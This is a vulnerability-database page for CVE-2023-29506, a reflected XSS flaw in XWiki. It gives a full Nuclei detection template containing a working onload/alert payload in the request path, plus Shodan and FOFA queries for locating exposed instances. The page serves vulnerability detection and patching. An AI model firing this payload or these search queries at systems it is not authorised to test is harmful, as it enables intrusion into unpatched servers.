Browse / CVEs / CVE-2023-29506
CVE-2023-29506· xwiki / xwiki· CWE-79
XWiki >= 13.10.8 - Cross-Site Scripting
mediumseverity
6.1CVSS score
1.7%likelihood of exploitation, next 30 days
78%of all CVEs are less likely
Readycheck to confirm it
Reflected XSS vulnerability in XWiki authenticate endpoints allows execution of arbitrary JavaScript.
Impact
Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
Fix
Implement proper input validation and output encoding to prevent XSS attacks in the XWiki application.
How to confirm it
Send: GET {{BaseURL}}/xwiki/authenticate/wiki/xwiki%22onload=%22alert(document.domain)%22/resetpassword
Positive when: contains "wiki-xwiki\"onload=\"alert(document.domain)\"" and "resetPasswordForm" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2023-29506 -u <target>
The full check
id: CVE-2023-29506
info:
name: XWiki >= 13.10.8 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Reflected XSS vulnerability in XWiki authenticate endpoints allows execution of arbitrary JavaScript.
impact: |
Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
remediation: |
Implement proper input validation and output encoding to prevent XSS attacks in the XWiki application.
reference:
- https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-jjm5-5v9v-7hx2
- https://jira.xwiki.org/browse/XWIKI-20335
- https://nvd.nist.gov/vuln/detail/CVE-2023-29506
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-29506
cwe-id: CWE-79
epss-score: 0.01721
epss-percentile: 0.77674
cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
metadata:
max-request: 1
verified: true
vendor: xwiki
product: xwiki
shodan-query: html:"data-xwiki-reference"
fofa-query: body="data-xwiki-reference"
tags: cve,cve2023,xwiki,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/xwiki/authenticate/wiki/xwiki%22onload=%22alert(document.domain)%22/resetpassword"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'wiki-xwiki"onload="alert(document.domain)"'
- 'resetPasswordForm'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-jjm5-5v9v-7hx2
- https://jira.xwiki.org/browse/XWIKI-20335
- https://nvd.nist.gov/vuln/detail/CVE-2023-29506
Use this check only on systems you are authorised to test. Where the data comes from